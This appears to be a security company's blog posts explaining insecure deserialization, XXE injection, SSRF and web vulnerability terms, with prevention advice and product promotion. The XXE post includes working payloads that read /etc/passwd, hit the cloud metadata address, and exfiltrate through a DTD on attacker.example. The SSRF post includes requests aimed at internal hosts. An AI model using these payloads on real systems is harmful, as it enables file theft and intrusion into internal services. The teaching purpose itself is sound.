Author: UnboundCompute

  • What is insecure deserialization?

    What is insecure deserialization?

    Most web apps need to save an object now and rebuild it later. Saving it as bytes is called serialization. Turning those bytes back into a live object is deserialization. Insecure deserialization is what happens when an app rebuilds objects from bytes it does not trust, like a cookie or a request body a user controls, and treats the result as if the app itself had created it.

    What serialization and deserialization actually are

    Serialization turns a structure in memory into a flat string of bytes you can store on disk or send over the network. Deserialization is the reverse step. Your app reads the bytes and reconstructs the object so it can call methods on it and read its fields.

    Here is the part that trips people up. The bytes are not just data. In many languages they carry type information, field values, and sometimes instructions about which classes to build and which methods to run while building them. When the bytes come from a place the user can change, you are letting the user influence what your program constructs.

    If untrusted bytes can decide which objects your code builds, the user is no longer sending you data. The user is sending you a program.

    Why insecure deserialization is dangerous

    An app usually treats a freshly deserialized object as trustworthy. It assumes the fields are sane and the types are the ones it expected. An attacker who controls the input breaks both assumptions. There are two distinct levels of damage, and it helps to keep them separate.

    Level one: data tampering

    The simpler attack just edits values inside the serialized blob. Say a session cookie stores a small object describing the logged in user. If the app serializes it in a readable format and does not sign it, the user can decode it, change one field, and send it back. A field that said role=user becomes role=admin. No code execution, no exotic tricks. The app deserializes the edited object and grants access it never meant to grant.

    Level two: remote code execution through gadget chains

    The serious version uses the deserialization step itself to run code. Some languages run special methods automatically while rebuilding an object, for example a setup or cleanup hook. A gadget is an existing class already on the app’s classpath whose automatic method does something useful to an attacker, like reading a file or calling another method. A gadget chain stitches several of these together so that simply rebuilding a crafted object kicks off a sequence that ends in command execution.

    The important high level point: the attacker is not uploading new code. They are arranging classes the app already ships so that the act of deserializing runs them in an order the authors never intended. That is why this class of bug can jump from “changed a value” to “ran a shell command” with the same root cause. (No working chain is shown here on purpose. The defense is the same either way.)

    Where insecure deserialization shows up

    This is a language wide problem, not a single bad function. It appears anywhere an app turns attacker reachable bytes back into objects:

    • Java: ObjectInputStream.readObject() on data from a request, cookie, or message queue.
    • PHP: unserialize() on a value the client controls, which can trigger magic methods like __wakeup and __destruct.
    • Python: pickle.loads() on untrusted input. Pickle is documented as unsafe for this and can run arbitrary code by design.
    • .NET: formatters such as BinaryFormatter and some configurations of Json.NET that resolve types from the payload.
    • JSON with type hints: a $type or _class field that tells the parser which concrete class to build. Plain JSON is just data, but type aware deserialization brings the same risks back.
    • Cookies and sessions: any session token that stores a serialized object instead of an opaque id pointing at server side state.

    A tampered session, and a safer design

    Below is a readable, unsigned session value, the edited version an attacker would send, and an opaque token that removes the whole problem. This is intentionally generic and shows the shape, not a payload.

    # Original session cookie (readable, not signed)
    session = {"uid": 4181, "role": "user", "plan": "free"}
    encoded = base64("{\"uid\":4181,\"role\":\"user\",\"plan\":\"free\"}")
    
    # Attacker decodes, edits one field, encodes again, sends it back
    tampered = base64("{\"uid\":4181,\"role\":\"admin\",\"plan\":\"free\"}")
    # Server deserializes and now believes the user is an admin
    
    # Safer: opaque id, real data stays on the server
    set_cookie("sid", random_256_bit_id())     # nothing meaningful to edit
    session = store.lookup(sid)                 # role comes from the database
    
    # If a token must carry claims, sign it and verify before trusting it
    token  = sign(payload, server_secret)
    claims = verify(token, server_secret)       # reject on bad signature
    
    # Never feed untrusted bytes to a native object builder
    pickle.loads(request.body)                  # unsafe by design
    data = json.loads(request.body)             # plain data, no type hints, then validate
    

    The opaque id works because there is nothing inside the cookie worth editing. The signed token works because any edit breaks the signature and the server refuses it. The last line works because plain JSON parsing returns a dictionary, not a reconstructed class with hidden behavior.

    How to detect it

    • Grep for the dangerous calls. Search the codebase for readObject, unserialize, pickle.loads, BinaryFormatter, and type aware JSON settings. Then ask where each input comes from.
    • Trace the source of the bytes. A deserialization call on a config file you ship is fine. The same call on a cookie, header, upload, or queue message is the risk.
    • Watch for telltale prefixes. Java serialized data often starts with the bytes ac ed 00 05, and base64 of that begins with rO0. Seeing that in a cookie is a strong hint. When you have an unknown blob in hand, our free file entropy and magic byte analyzer reads its leading bytes and entropy so you can tell a serialized object from plain compressed or encrypted data.
    • Test assumptions, not just signatures. Flip a role field or swap a declared type and see whether the app still trusts the object. That is exactly the kind of assumption a careful review checks.

    How to prevent it

    • Do not deserialize untrusted input into native objects. This is the core fix. Use plain data formats like JSON or a strict schema, then validate fields by hand.
    • Use opaque session ids. Keep user role and permissions on the server, keyed by a random id, so the client holds nothing worth tampering with.
    • Sign anything the client carries. If a token must hold claims, sign it and verify the signature before reading a single field.
    • Allowlist types if you truly need typed deserialization. Restrict which classes the deserializer is allowed to build, and reject everything else by default.
    • Add integrity and isolation. Authenticate and encrypt stored objects, run parsers with low privileges, and keep dependencies patched so known gadget classes are gone.

    For more on input that crosses a trust boundary, see our injection and input category, which groups the bugs that share this root cause.

    Why this bug rewards understanding the app

    Insecure deserialization is rarely found by throwing a fixed list of payloads at a target. It depends on which format the app uses, which classes it ships, and which fields it trusts after rebuilding an object. You find it by understanding what the app assumes and then testing whether those assumptions hold.

    That is the kind of bug an autonomous researcher built to test assumptions is meant to catch. In early work, a frontier model drove that full method on its own and identified and verified real access control and injection issues in test apps it had not seen before. That is an encouraging early signal, not a benchmark. You can read more about the approach on our about page.

    Frequently asked questions

    What is insecure deserialization?

    Insecure deserialization is what happens when an app rebuilds objects from bytes it does not trust, like a cookie or a request body a user controls, and treats the result as if the app itself had created it. In many languages those bytes carry type information and instructions about which classes to build, so the user is influencing what the program constructs. See the MITRE CWE 502 entry for the formal definition.

    Can insecure deserialization lead to remote code execution?

    Yes. Some languages run special methods automatically while rebuilding an object, and a gadget chain stitches together classes already on the app’s classpath so that simply deserializing a crafted object kicks off a sequence ending in command execution. The attacker uploads no new code, they just arrange classes the app already ships in an order the authors never intended.

    How do you prevent insecure deserialization?

    Do not deserialize untrusted input into native objects. Use plain data formats like JSON and validate fields by hand, keep user role and permissions on the server behind an opaque session id, and sign anything the client carries so any edit breaks the signature. If you truly need typed deserialization, allowlist which classes may be built and reject the rest.

    How do you spot a Java serialized object in a request?

    Java serialized data often starts with the bytes ac ed 00 05, and the base64 form of that begins with rO0. Seeing that prefix in a cookie or header is a strong hint that the app is feeding client controlled bytes to an object builder.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • What is XXE injection and how does it work?

    What is XXE injection and how does it work?

    XXE injection is a bug that lets an attacker abuse the way an application reads XML. If a parser is set up to resolve external entities, a request that looks like ordinary data can ask the server to open local files, reach internal services, or quietly leak data to a server the attacker controls. This post teaches xxe injection from zero: what XML and a DTD are, what an external entity does, a vulnerable parser, and the small config changes that shut the whole class down.

    Start with the parts: XML, DTD, and entities

    XML is a text format for structured data. Tags wrap values, and the result looks like this:

    <?xml version="1.0"?>
    <order>
      <item>notebook</item>
      <qty>3</qty>
    </order>

    A DTD (Document Type Definition) is an optional block at the top of an XML document that declares rules and reusable pieces. You start it with a <!DOCTYPE> line. Inside a DTD you can define an entity, which is a named shortcut. A normal internal entity is just text substitution:

    <?xml version="1.0"?>
    <!DOCTYPE order [
      <!ENTITY company "Acme Notes">
    ]>
    <order><buyer>&company;</buyer></order>

    The parser sees &company; and swaps in Acme Notes. So far this is harmless. The danger starts with one extra keyword.

    What an external entity is

    An external entity uses the SYSTEM keyword to pull its value from somewhere outside the document, named by a URI. The parser fetches that URI and inlines whatever comes back. That URI can be a file path or a network address:

    <!ENTITY secret SYSTEM "file:///etc/passwd">

    If the parser resolves that entity, it reads the file and substitutes the contents. The attacker never touched the disk. They just sent XML, and a misconfigured parser did the reading for them.

    How xxe injection actually works against a vulnerable parser

    Imagine a typical SaaS app, call it Acme Notes, with an endpoint that accepts an XML body to import notes. The backend parses it with default settings. In Java that often looks like this:

    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    DocumentBuilder db = dbf.newDocumentBuilder();
    Document doc = db.parse(request.getInputStream());

    Nothing here disables external entities, so the parser will resolve them. The attacker sends this body to the import endpoint:

    <?xml version="1.0"?>
    <!DOCTYPE note [
      <!ENTITY leak SYSTEM "file:///etc/passwd">
    ]>
    <note><title>&leak;</title></note>

    The parser reads /etc/passwd and places its contents into the title field. If the app echoes that title back, in a confirmation message or an error, the attacker reads the file in the response. That is the classic file read, and it works because the app trusted the XML to be plain data.

    The vulnerability is not in the XML. It is in a parser that was told it may go fetch whatever a document points at.

    SSRF through XXE

    The external entity URI does not have to be a file. Swap the path for an internal address and the server makes the request for you:

    <!ENTITY leak SYSTEM "http://169.254.169.254/latest/meta-data/">

    Now the parser sends an HTTP request from inside the network, to a host the attacker could never reach directly. This is server side request forgery (SSRF) riding on top of XXE. It can hit cloud metadata endpoints, internal admin panels, or services that assume any caller from inside the perimeter is trusted.

    Blind XXE and out of band exfiltration

    Often the app does not echo the parsed value back. There is no field that returns to the attacker, so the file read seems dead. This is blind XXE, and the fix from the attacker side is to send the data somewhere else instead of waiting for it in the response.

    The trick uses an external DTD. The malicious document points at a DTD hosted on a server the attacker controls:

    <?xml version="1.0"?>
    <!DOCTYPE note [
      <!ENTITY % remote SYSTEM "http://attacker.example/evil.dtd">
      %remote;
    ]>
    <note><title>ok</title></note>

    That remote evil.dtd reads a local file, then builds a URL with the file contents glued into it and forces the parser to request that URL. The attacker reads the file out of their own web server logs. Nothing came back in the HTTP response, so this is out of band (OOB) exfiltration. I am describing the shape at a high level on purpose. The point is that blind does not mean safe.

    How to prevent xxe injection

    The good news: this whole class has one root cause and one clean fix. The application almost never needs external entities or a DOCTYPE in user supplied XML. Turn them off and the attack has nothing to stand on.

    • Disable DOCTYPE entirely when you can. If the parser refuses any document with a <!DOCTYPE>, every entity trick above stops at the door.
    • Disable external entities and external DTD loading as a second layer, in case some flow needs DOCTYPE.
    • Prefer a simpler format. If the endpoint only ever receives small structured records, JSON sidesteps entities completely.
    • Patch every parser, not just one. Apps often parse XML in several places, including SOAP, SVG uploads, office document handling, and SAML. One safe parser does not protect the others.

    Safe parser config

    Here is the same Java factory, locked down. The first line is the one that matters most:

    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    dbf.setExpandEntityReferences(false);
    DocumentBuilder db = dbf.newDocumentBuilder();

    The same idea carries to other stacks. In Python with lxml, build the parser with etree.XMLParser(resolve_entities=False, no_network=True), or use the defusedxml library, which ships with these defenses on. In .NET, set XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit. In PHP with libxml, avoid loading external entities and keep network access off. The wording differs per language, but the goal is identical: no DOCTYPE, no external entities, no network fetches during parsing.

    One more habit. Do not rely on a web application firewall to spot these payloads. XML has many encodings and an attacker can nest entities or split the DOCTYPE to dodge a signature. A firewall is a speed bump. The parser config is the wall. For more on injection style bugs and how input crosses a trust boundary, see our writeups under Injection and Input.

    Why this is easy to miss

    XXE hides because the vulnerable code looks finished. The parser works, valid notes import, tests pass. The risky behavior, resolving an external pointer, only shows up when someone sends a document built to exercise it. That gap between “the app accepts XML” and “the app will fetch whatever the XML points at” is an assumption no one wrote down. This is exactly the kind of bug an autonomous researcher that tests assumptions is built to find, by asking what the parser will do rather than matching a known string. If you want the longer view on that approach, read more on the about page. Turn off the DOCTYPE, confirm it on every parser, and xxe injection stops being a hole you can walk through.

    Frequently asked questions

    What is XXE injection?

    XXE injection abuses the way an application reads XML. If the parser is set up to resolve external entities, a document can ask the server to open local files, reach internal services, or leak data to a server the attacker controls. See the PortSwigger Web Security Academy XXE topic for full walkthroughs.

    What is an external entity in XML?

    An external entity uses the SYSTEM keyword to pull its value from outside the document, named by a URI such as a file path or a network address. If the parser resolves it, the parser fetches that URI and inlines whatever comes back, which is how an attacker reads files like /etc/passwd without ever touching the disk.

    How do you prevent XXE injection?

    Disable DOCTYPE processing entirely in user supplied XML where you can, since that stops every entity trick at the door. As a second layer, disable external general and parameter entities and external DTD loading, and apply the same config to every parser in the app, including SOAP, SVG uploads, and SAML handling.

    What is blind XXE?

    Blind XXE is when the app does not echo the parsed value back, so the file read seems dead. An attacker can still steal data by pointing the document at an external DTD that builds a URL with the file contents and forces the parser to request it, reading the result from their own server logs. This is out of band exfiltration, and it shows that blind does not mean safe.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • What is SSRF? Server Side Request Forgery Explained

    What is SSRF? Server Side Request Forgery Explained

    Server side request forgery, or SSRF, is a flaw where an attacker supplies a URL and makes your server send the request on their behalf, reaching systems the attacker could never open directly. The user controls an address, the server fetches it, and the server’s trusted position on the network becomes the attacker’s. Any feature that takes a URL or a host name from a user and fetches it is a place SSRF can hide. This post explains how it works, why the cloud makes it worse, how to spot it, and how to shut it down.

    The examples use a made up app so nothing here points at a real target.

    What is server side request forgery?

    It is a server fetching whatever address a user hands it, a weakness catalogued by MITRE as CWE-918. Picture an app called Acme Notes. It has a friendly feature: paste a link and it pulls a preview image for you. Behind the scenes the server does something like this.

    POST /preview
    { "url": "https://example.com/photo.png" }

    The server reads that URL, makes the request itself, and sends the result back. That is the whole feature, and on a good day it is harmless. The problem is the server will fetch whatever you put there, including addresses that belong to the inside of the network, not the public internet.

    So an attacker stops sending a normal photo link and starts sending internal ones.

    POST /preview
    { "url": "http://localhost:8080/admin" }
    
    POST /preview
    { "url": "http://192.168.0.10/" }

    Your server happily reaches those, because to the network the request is coming from a trusted machine, not from a stranger. The user could never open http://localhost:8080/admin in their own browser. The server can, and you just lent it to them.

    Why is SSRF so dangerous in the cloud?

    It is dangerous in the cloud because the server’s own credentials sit one internal request away. On a normal server SSRF lets an attacker map and poke at internal services: admin panels, databases, message queues, and other apps that were never meant to face the public. In a cloud setup it gets worse, because most cloud providers expose a metadata service at a fixed internal address that hands out configuration and, in some setups, temporary credentials.

    If an app is vulnerable and the environment is not locked down, a request aimed at that internal metadata address can return secrets the attacker should never see. From there a small preview feature turns into a path toward the cloud account itself. That is the jump that makes SSRF a headline bug rather than a minor one, and the reason OWASP gives SSRF a category of its own in the Top 10 instead of filing it under general access control.

    SSRF is rarely about breaking the server. It is about borrowing its position on the network, which is far more useful than anything the attacker has from outside.

    Where does SSRF show up?

    It shows up in any feature that accepts an address and fetches it for you, which is a longer list than most teams expect.

    • Link previews and unfurlers. Anything that fetches a page to show a title or image.
    • Webhooks. You let users register a URL to receive events. The server calls it. That is SSRF by design unless you constrain it.
    • Document and image processors. Features that import a file from a URL, convert a page to a PDF, or load a remote image.
    • Imports by URL. “Import your data from this address” style features.
    • Hidden parameters. Fields like image_url, callback, dest, or feed buried in a request body.

    Some of these are blind, meaning you never see the response. The server still made the request, so an attacker can use timing or out of band tricks to confirm it. Blind does not mean safe.

    How do you find SSRF in an app?

    You find it by reading the app for the assumption it is making. The app assumes the URL you hand it points somewhere public and harmless. So you test that assumption directly.

    • List every feature that accepts a URL, host name, or address, including the ones hidden in JSON bodies and headers.
    • Point one at an address you control and watch whether the server actually calls it. If it does, the server is fetching user input.
    • Then ask the real question: can I aim it at something internal? Try a loopback address, a private range, and the cloud metadata address for your platform.
    • For blind cases, use a request listener you own so you can see the server reach out even when the app shows you nothing.

    This is the same habit behind most serious findings. You do not throw random payloads. You understand what the feature is for, notice the trust it is built on, and test whether that trust holds. For more on that mindset see how hackers find vulnerabilities.

    How do you prevent it?

    You prevent it by deciding, on the server, exactly where a request is allowed to go. You cannot fix the bug by blocking a list of bad strings, because there are too many ways to write the same address.

    • Use an allow list of destinations. If the feature only ever needs to reach three known providers, allow those and refuse everything else. An allow list beats a block list every time.
    • Resolve the host first, then check it. Turn the host name into an IP address and reject anything that lands on a private, loopback, or link local range. Do the check after resolving, so a name that quietly points inside cannot slip through. Our free SSRF IP and URL normalizer expands the encodings and shorthand that hide an internal address so you can see where a value really resolves.
    • Block the metadata address explicitly and require credentials on that service where your cloud supports it.
    • Do not follow redirects blindly. A public URL can redirect to an internal one. Re check the destination on every hop.
    • Isolate the fetcher. Run the part that makes outbound requests with no access to internal systems, so even a successful SSRF reaches nothing useful.

    The theme is the same as most access control work: the server has to own the decision about what is allowed, not trust the input. If that idea is useful, the web and API security glossary defines SSRF and the terms around it in one place.

    What should you take away?

    Take away that SSRF is a quiet bug. The request looks ordinary, the feature works as designed, and the only thing wrong is where the server is willing to go. That is exactly the kind of assumption an autonomous researcher that studies how an app is meant to work is built to test, by understanding the feature, forming an idea about where the trust breaks, and proving it before calling it a finding. You can read more about UnboundCompute if that approach is interesting.

    Frequently asked questions

    What is server side request forgery in simple terms?

    Server side request forgery, or SSRF, is a bug where an attacker supplies a URL and the server fetches it on their behalf, which lets the attacker reach addresses they could never open directly. Because the request comes from a trusted machine, the server can reach internal services like admin panels and databases. See the PortSwigger Web Security Academy SSRF topic for worked examples.

    Why is SSRF so dangerous in cloud environments?

    Most cloud providers expose a metadata service at a fixed internal address that can hand out configuration and, in some setups, temporary credentials. If an app is vulnerable and the environment is not locked down, a request aimed at that address can return secrets, which turns a small preview feature into a path toward the whole cloud account.

    How do you prevent SSRF?

    Decide on the server exactly where a request is allowed to go, using an allow list of known destinations rather than a block list of bad strings. Resolve the host name to an IP first and reject private, loopback, or link local ranges, block the metadata address, and do not follow redirects blindly.

    What is blind SSRF?

    Blind SSRF is when the server makes the request but never shows you the response. The attack still works, because an attacker can confirm the server reached out using timing or a request listener they own. Blind does not mean safe.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

    Try it yourself: SSRF IP and URL Normalizer lets you normalize a URL the way a vulnerable fetcher would and see what host it resolves to. It runs entirely in your browser, with no signup, and nothing you paste is ever uploaded.

  • Web and API Security Glossary: Vulnerabilities and Terms Explained

    Web and API Security Glossary: Vulnerabilities and Terms Explained

    This glossary explains the most common web application vulnerabilities and the security terms that go with them, in plain language. It is built for people starting from zero, so each entry is short and concrete. Where we have a deeper post, the term links to it. Skim it, bookmark it, or read it top to bottom.

    The entries are grouped into core concepts, access control, injection and input, logic and API flaws, and the ways people test for all of these. If you only read one section, read common web application vulnerabilities first.

    Core concepts

    • Vulnerability. A weakness in an application that lets someone do something they should not be able to do, like read another user’s data or run their own code on the server.
    • Exploit. The specific steps or request that turns a vulnerability into real impact. A vulnerability is the open window; the exploit is climbing through it.
    • Threat. Anyone or anything that could act against the app, from a bored attacker to an automated bot scanning the whole internet.
    • Attack surface. Every place an attacker can touch the app: pages, forms, API endpoints, file uploads, headers, and parameters. The bigger the surface, the more there is to get wrong.
    • Payload. The piece of input that triggers the bug, for example a snippet of script or a crafted value in a URL parameter.
    • Proof of concept. A safe demonstration that a bug is real, without causing damage. It is the difference between “this might be exploitable” and “here is the proof.”
    • False positive. A finding a tool reports that is not actually exploitable. Too many of these waste a team’s time and train them to ignore alerts.
    • CVE. A public identifier for a known vulnerability in a specific piece of software, like CVE 2024 12345. It lets everyone refer to the same issue.
    • CVSS. A scoring system from 0 to 10 that rates how severe a vulnerability is. Higher means worse, but context still matters more than the number.
    • Zero day. A vulnerability that is being exploited before the vendor has a fix available. Defenders have zero days of warning.

    Access control

    Access control bugs are about who is allowed to do what. They are some of the highest impact issues because they often expose other users’ data directly. See access control vulnerabilities for the full picture.

    • Authentication. Proving who you are, usually with a password or a login token. See authentication vs authorization.
    • Authorization. Deciding what you are allowed to do once you are logged in. Many breaches come from getting this step wrong.
    • Broken access control. When the app fails to check that a user is allowed to perform an action, so a normal user can reach admin pages or other people’s records.
    • IDOR. Insecure direct object reference. Changing an id in a URL like /invoice/123 to /invoice/124 and seeing data that is not yours. See the IDOR and BOLA entry.
    • BOLA. Broken object level authorization. The API version of IDOR, and the most common serious API flaw. The endpoint returns an object without checking it belongs to the caller.
    • Privilege escalation. Gaining rights you should not have. See privilege escalation.
    • Horizontal escalation. Acting as another user at the same level, for example reading a peer’s messages.
    • Vertical escalation. Jumping to a higher level, for example a normal user gaining admin powers.
    • Session. The server’s memory that you are logged in, tracked by a cookie or token. Steal the session and you become that user.
    • JWT. JSON web token. A signed token that carries login claims. Weak signing or trusting unverified claims turns it into an access control bug.

    Injection and input

    Injection happens when input is treated as a command instead of plain data. The app mixes attacker text into a query, a page, or a shell, and the attacker’s text takes over.

    • Injection. The general class where untrusted input changes the meaning of a command the app runs.
    • SQL injection. Injecting database query syntax to read or change data the app never meant to expose. See SQL injection.
    • Cross site scripting. XSS. Injecting script that runs in another user’s browser, often to steal sessions. See cross site scripting.
    • Stored XSS. The script is saved by the app, for example in a comment, and runs for every visitor who views it.
    • Reflected XSS. The script comes back in the response to a single crafted request, usually delivered through a link.
    • DOM XSS. The bug lives in client side JavaScript that writes attacker input into the page without cleaning it.
    • Command injection. Getting the server to run your operating system commands. See command injection.
    • SSTI. Server side template injection. Input is rendered as a template expression, which can lead to running code on the server.
    • Path traversal. Using sequences like ../ to read files outside the intended folder, such as configuration or password files.
    • SSRF. Server side request forgery. Tricking the server into making requests for you, often to reach internal systems a user cannot touch directly.
    • XXE. XML external entity. Abusing XML parsing to read local files or make the server send requests.
    • CSRF. Cross site request forgery. Tricking a logged in user’s browser into sending an action they did not intend, like changing their email.
    • Open redirect. A redirect that sends users to any URL an attacker supplies, useful for convincing phishing links.

    Logic and API flaws

    These bugs are not about malformed input. The request is valid; the app’s rules are wrong. They are hard for scanners to catch because nothing looks broken on the surface.

    • Business logic vulnerability. A flaw in the app’s rules, like applying a discount twice or skipping a payment step. See business logic vulnerabilities.
    • Mass assignment. Sending extra fields in a request, like role=admin, that the app blindly saves because it trusts the whole object.
    • Broken function level authorization. An admin only action that is reachable by anyone who knows the endpoint, because the function itself never checks the role.
    • Rate limiting. A control that caps how often an action can run. Missing it enables brute force, scraping, and abuse.
    • Race condition. Sending requests at the same moment to slip between two steps, for example redeeming one gift code twice before the balance updates.

    How these get found and tested

    Finding web application vulnerabilities is its own discipline. Different methods catch different things, and none catches everything. For the bigger picture see how hackers find vulnerabilities and web application security.

    • Penetration testing. A skilled person tries to break the app on purpose and reports what worked.
    • Automated penetration testing. Software that does much of that work continuously. See automated penetration testing.
    • Vulnerability scanner. A tool that checks an app against a list of known issues and patterns. Fast and broad, but prone to false positives and blind to logic bugs.
    • SAST. Static analysis. Reads the source code without running it. See SAST vs DAST vs IAST.
    • DAST. Dynamic analysis. Tests the running app from the outside, the way an attacker sees it.
    • IAST. Interactive analysis. Watches the app from the inside while it runs to spot issues with more context.
    • Fuzzing. Throwing large amounts of malformed or random input at the app to see what crashes or misbehaves.
    • Verification. Proving a finding is real with concrete evidence before reporting it, so the output is signal and not a pile of maybes.

    See the ideas in action

    Definitions only go so far. Two teardowns walk through how these pieces combine in a realistic app: an IDOR that exposes user data and chaining small bugs into a real breach.

    The highest impact bugs rarely come from one exotic payload. They come from understanding how an app is meant to work, then noticing where that logic quietly breaks.

    That is exactly the kind of reasoning an autonomous researcher that tests an app’s assumptions is built for. It learns how the app works, forms ideas about where it breaks, runs experiments, and proves a finding before reporting it. If that approach interests you, read more about UnboundCompute.

    Frequently asked questions

    What is the difference between authentication and authorization?

    Authentication proves who you are, usually with a password or a login token, while authorization decides what you are allowed to do once you are logged in. They are separate steps, and many breaches come from getting the second one wrong even when the first one works fine. The OWASP Broken Access Control page covers how authorization fails in practice.

    What does CSRF stand for?

    CSRF stands for cross site request forgery. It is a bug where an attacker tricks a logged in user’s browser into sending an action they did not intend, like changing their email, because the browser attaches the session cookie automatically.

    What is the difference between IDOR and BOLA?

    IDOR means insecure direct object reference, where changing an id in a URL like /invoice/123 to /invoice/124 exposes data that is not yours. BOLA, broken object level authorization, is the API version of the same flaw and is the most common serious API bug, where an endpoint returns an object without checking it belongs to the caller.

    What is the difference between a vulnerability and an exploit?

    A vulnerability is a weakness that lets someone do something they should not be able to do, like read another user’s data. An exploit is the specific request or set of steps that turns that weakness into real impact. The vulnerability is the open window, and the exploit is climbing through it.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, a say in what it looks for, and founding pricing. If your team ships software worth pressure testing, apply to the design partner program.

  • Why we only report proven vulnerabilities

    Why we only report proven vulnerabilities

    Most security tools hand you a list of maybes. We do the opposite. Our rule is simple: we only report a bug after vulnerability verification, which means we have shown concrete evidence that the bug is real and exploitable. If we cannot prove it, we hold it back.

    This sounds obvious, but it goes against how most scanning works. A scanner sees a pattern it recognizes and raises an alert. It does not check whether that pattern actually breaks anything in your app. So the team on the other end inherits the hard part: deciding which alerts are real.

    A finding is not the same as a proven finding

    A finding is a guess. A tool noticed something that looks like a known weakness. Maybe a parameter name matches a SQL injection signature. Maybe a response header is missing. Maybe a login form lacks a rate limit field the tool expected to see. These are reasons to look closer. They are not proof.

    A proven finding is different. It comes with evidence that the bug works. Not a signature match, but a sequence you can replay: this request, sent in this way, produced this result that should not have been possible.

    Consider an invented app called Acme Notes. A scanner flags this endpoint because the URL has a numeric id:

    GET /api/notes/1042
    Authorization: Bearer <user A token>

    The flag says “possible insecure direct object reference”. That is a finding. It is a hint, nothing more. To turn it into a proven finding, you have to do the thing the scanner did not: log in as user A, request a note that belongs to user B, and show that user A reads private data.

    GET /api/notes/2099
    Authorization: Bearer <user A token>
    
    200 OK
    { "id": 2099, "owner": "userB", "body": "userB private note" }

    Now you have something real. User A read user B data. That response body is the evidence. The bug is no longer a guess about a numeric id. It is a confirmed access control failure with a request and a response that prove it.

    Why unproven alerts waste a security team’s time

    Every unproven alert is work pushed downstream. Someone has to triage it. They read the alert, open the app, try to reproduce it, and most of the time discover the alert was wrong. The parameter was safe. The missing header did not matter behind the gateway. The flagged id was scoped to the user all along.

    That triage cost is real and it repeats. A queue full of maybes does three bad things:

    • It buries the real bugs. When most alerts are noise, the few that matter get the same tired glance as the rest.
    • It trains people to ignore alerts. After the tenth false alarm, the eleventh gets closed without a real look. That is how a true positive slips through.
    • It moves the proof work onto humans. The tool guessed. Now an engineer spends an afternoon confirming or dismissing the guess, which is the expensive part the tool skipped.

    If a tool cannot prove the bug, it has not finished the job. It has only handed you a longer to do list.

    The difference between scanners and research is exactly this gap. We wrote more about that split in scanners vs research. A scanner matches patterns at scale and stops there. A researcher keeps going until the bug is shown to be real or shown to be nothing.

    What vulnerability verification actually means

    Vulnerability verification is the step where a candidate bug earns the word “vulnerability”. It means producing evidence that the issue is both real and exploitable in the running app, under realistic conditions.

    Real, not theoretical

    A pattern match says “this looks like a bug”. Verification says “I made the bug happen”. For the Acme Notes case, that is the second request above and the response body that should never have reached user A. For an injection bug, it is not a payload that matches a regex. It is a request that changes the query and returns data the query was never meant to return.

    Exploitable under real conditions

    Some flagged issues are real in theory but dead in practice. A parameter looks injectable, but a parser upstream strips the input before it reaches the database. Verification accounts for that. You test against the live behavior, not against a guess about the code. If the input never lands, there is no bug to report.

    Repeatable, not a one time fluke

    Evidence has to hold up when someone runs it again. A proven finding includes the steps to reproduce it, so the person who fixes it can watch the bug happen and then watch it stop. No reproduction means no proof.

    How UnboundCompute holds back what it cannot prove

    UnboundCompute is an autonomous security researcher. It learns how an app is meant to work, forms ideas about where that logic could break, designs experiments to test those ideas, and then tries to prove a finding with hard evidence. Understand, assume, experiment, verify, chain.

    The verify step is a gate, not a formality. If an experiment does not produce evidence that a bug is real and exploitable, the idea stays an idea. It does not become an alert. We would rather report fewer things and have every one of them be true than flood a queue and let people sort it out.

    This is an honest description of an early stage product. We are still building it. We are not claiming customers, benchmarks, or a finished tool. As an early and encouraging signal, a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. We treat that as a reason to keep going, not as a number to wave around.

    A proven finding becomes a check that keeps watching

    Here is the part we like most. Once a bug is proven, the evidence is already a recipe. The request that broke Acme Notes, and the response that proved it, describe a test you can run again.

    So a confirmed finding can become a repeatable check. After the fix ships, the same steps run again and should now fail to reproduce the bug. If a later change brings the bug back, that check catches it. The access control gap that let user A read user B notes turns into a standing test:

    • Authenticate as user A.
    • Request a note owned by user B.
    • Expect a denial, not a 200 OK with private data.

    The proof you gathered once keeps paying off. A maybe cannot do that. You cannot build a regression test out of a guess, because you never knew what the real bug was. Proof gives you a fixed target, and a fixed target is something you can watch forever.

    This is the kind of bug an autonomous researcher that tests assumptions is built to find, prove, and keep watching. If that approach is interesting to you, read more about who we are on our about page.

    Frequently asked questions

    What is the difference between a finding and a proven finding?

    A finding is a guess: a tool noticed something that looks like a known weakness, such as a parameter that matches a signature or a missing header. A proven finding comes with evidence that the bug works, a sequence you can replay where one request produced a result that should not have been possible.

    Why hold back bugs you cannot prove?

    Every unproven alert is work pushed downstream, where someone triages it and usually finds it was wrong. A queue full of maybes buries the real bugs, trains people to ignore alerts, and moves the expensive proof work onto humans, so we would rather report fewer things and have every one of them be true.

    What does vulnerability verification actually require?

    It requires evidence that the issue is real and exploitable in the running app under realistic conditions, and that it is repeatable. That means making the bug happen against live behavior, not matching a regex, and including the steps to reproduce it so the person who fixes it can watch the bug happen and then watch it stop. You can read more in the OWASP Web Security Testing Guide.

    What happens to a finding after it is proven?

    The evidence is already a recipe, so a confirmed finding can become a repeatable check. After the fix ships, the same steps run again and should fail to reproduce the bug, and if a later change brings it back, the check catches it. You cannot build a regression test out of a guess, which is another reason proof matters.


    Put an autonomous researcher on your own systems

